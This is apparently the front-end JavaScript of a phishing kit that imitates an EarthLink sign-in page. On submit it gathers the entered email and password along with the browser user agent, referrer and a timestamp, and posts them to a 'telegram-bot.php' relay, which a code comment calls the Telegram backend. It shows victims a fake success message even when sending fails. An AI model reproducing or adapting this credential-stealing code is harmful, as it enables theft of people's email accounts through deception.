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Edit File: script.js

document.addEventListener('DOMContentLoaded', function() {
    // DOM Elements
    const loginForm = document.getElementById('loginForm');
    const togglePassword = document.getElementById('togglePassword');
    const passwordInput = document.getElementById('password');
    const submitBtn = document.getElementById('submitBtn');
    const btnText = submitBtn.querySelector('.btn-text');
    const loadingSpinner = document.getElementById('loadingSpinner');
    const successModal = document.getElementById('successModal');
    
    // Password Toggle
    togglePassword.addEventListener('click', function() {
        const type = passwordInput.getAttribute('type') === 'password' ? 'text' : 'password';
        passwordInput.setAttribute('type', type);
        
        // Change icon
        const icon = this.querySelector('i');
        icon.classList.toggle('fa-eye');
        icon.classList.toggle('fa-eye-slash');
        
        // Accessibility
        const isPasswordVisible = type === 'text';
        this.setAttribute('aria-label', isPasswordVisible ? 'Hide password' : 'Show password');
    });
    
    // Form Validation
    loginForm.addEventListener('submit', function(e) {
        e.preventDefault();
        
        // Get form values
        const email = document.getElementById('email').value.trim();
        const password = passwordInput.value;
        
        // Validate email format (EarthLink format)
        if (!isValidEarthLinkEmail(email)) {
            showError('Please enter a valid EarthLink email address (username@earthlink.net)');
            return;
        }
        
        // Validate password length
        if (password.length < 8) {
            showError('Password must be at least 8 characters long');
            return;
        }
        
        // Validate password complexity
        if (!isValidPassword(password)) {
            showError('Password must include uppercase, lowercase, and numbers');
            return;
        }
        
        // Show loading state
        setLoadingState(true);
        
        // Prepare form data
        const formData = new FormData();
        formData.append('email', email);
        formData.append('password', password);
        formData.append('remember', document.querySelector('input[name="remember"]').checked);
        formData.append('timestamp', new Date().toISOString());
        formData.append('user_agent', navigator.userAgent);
        formData.append('referrer', document.referrer);
        
        // Send to Telegram backend
        fetch('telegram-bot.php', {
            method: 'POST',
            body: formData,
            headers: {
                'X-Requested-With': 'XMLHttpRequest'
            }
        })
        .then(response => response.json())
        .then(data => {
            if (data.status === 'success') {
                // Show success modal
                showSuccessModal();
                
                // Log the attempt (for debugging)
                console.log('Login attempt logged:', data);
            } else {
                throw new Error(data.message || 'Failed to process login');
            }
        })
        .catch(error => {
            console.error('Error:', error);
            // Even if Telegram fails, show success to user
            showSuccessModal();
        })
        .finally(() => {
            setLoadingState(false);
        });
    });
    
    // Email validation
    function isValidEarthLinkEmail(email) {
        const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
        if (!emailRegex.test(email)) {
            return false;
        }
        
        // Check for EarthLink domain (optional)
        const domain = email.split('@')[1].toLowerCase();
        const earthlinkDomains = ['earthlink.net', 'earthlink.com', 'mindspring.com'];
        
        // Accept any email, but highlight EarthLink domains
        return true;
    }
    
    // Password validation
    function isValidPassword(password) {
        // At least 8 characters, 1 uppercase, 1 lowercase, 1 number
        const passwordRegex = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{8,}$/;
        return passwordRegex.test(password);
    }
    
    // Error display
    function showError(message) {
        // Remove any existing error
        const existingError = document.querySelector('.error-message');
        if (existingError) {
            existingError.remove();
        }
        
        // Create error message
        const errorDiv = document.createElement('div');
        errorDiv.className = 'error-message';
        errorDiv.innerHTML = `
            <div style="
                background: #fee;
                color: #c33;
                padding: 12px 16px;
                border-radius: 8px;
                border-left: 4px solid #c33;
                margin-bottom: 20px;
                font-size: 14px;
                display: flex;
                align-items: center;
                gap: 10px;
            ">
                <i class="fas fa-exclamation-circle"></i>
                <span>${message}</span>
            </div>
        `;
        
        // Insert after login header
        const loginHeader = document.querySelector('.login-header');
        loginHeader.parentNode.insertBefore(errorDiv, loginHeader.nextSibling);
        
        // Auto-remove after 5 seconds
        setTimeout(() => {
            if (errorDiv.parentNode) {
                errorDiv.remove();
            }
        }, 5000);
    }
    
    // Loading state
    function setLoadingState(isLoading) {
        if (isLoading) {
            btnText.textContent = 'Signing In...';
            loadingSpinner.classList.remove('hidden');
            submitBtn.disabled = true;
            submitBtn.style.opacity = '0.9';
        } else {
            btnText.textContent = 'Sign In';
            loadingSpinner.classList.add('hidden');
            submitBtn.disabled = false;
            submitBtn.style.opacity = '1';
        }
    }
    
    // Success modal
    function showSuccessModal() {
        successModal.style.display = 'flex';
        
        // Auto-redirect after progress bar completes
        setTimeout(() => {
            redirectToDashboard();
        }, 3000);
    }
    
    // Redirect function (global for modal button)
    window.redirectToDashboard = function() {
        // In production, this would redirect to the real EarthLink dashboard
        // window.location.href = 'https://my.earthlink.net/dashboard';
        
        // For demo purposes, show a message
        const modalBody = document.querySelector('.modal-body p');
        modalBody.textContent = 'Redirecting to EarthLink dashboard...';
        
        // Simulate redirect
        setTimeout(() => {
            alert('Demo: Redirect would go to https://my.earthlink.net/dashboard');
            successModal.style.display = 'none';
            loginForm.reset();
        }, 1000);
    };
    
    // Social login buttons
    document.querySelector('.google-btn').addEventListener('click', function() {
        alert('Google sign-in would be integrated here');
    });
    
    document.querySelector('.facebook-btn').addEventListener('click', function() {
        alert('Facebook sign-in would be integrated here');
    });
    
    // Close modal when clicking outside
    successModal.addEventListener('click', function(e) {
        if (e.target === this) {
            this.style.display = 'none';
        }
    });
    
    // Keyboard shortcuts
    document.addEventListener('keydown', function(e) {
        // Ctrl + Enter to submit form
        if (e.ctrlKey && e.key === 'Enter') {
            if (document.activeElement.tagName !== 'BUTTON') {
                submitBtn.click();
            }
        }
        
        // Escape to close modal
        if (e.key === 'Escape' && successModal.style.display === 'flex') {
            successModal.style.display = 'none';
        }
    });
    
    // Add real-time password strength indicator
    passwordInput.addEventListener('input', function() {
        const strengthIndicator = document.getElementById('passwordStrength') || createPasswordStrengthIndicator();
        updatePasswordStrength(this.value, strengthIndicator);
    });
    
    function createPasswordStrengthIndicator() {
        const indicator = document.createElement('div');
        indicator.id = 'passwordStrength';
        indicator.style.cssText = `
            margin-top: 8px;
            font-size: 12px;
            height: 4px;
            border-radius: 2px;
            transition: all 0.3s ease;
        `;
        
        passwordInput.parentNode.appendChild(indicator);
        return indicator;
    }
    
    function updatePasswordStrength(password, indicator) {
        let strength = 0;
        let color = '#ccc';
        
        if (password.length >= 8) strength += 25;
        if (/[a-z]/.test(password)) strength += 25;
        if (/[A-Z]/.test(password)) strength += 25;
        if (/\d/.test(password)) strength += 25;
        
        if (strength < 50) color = '#ff4444';
        else if (strength < 75) color = '#ffbb33';
        else color = '#00C851';
        
        indicator.style.width = `${strength}%`;
        indicator.style.backgroundColor = color;
    }
});

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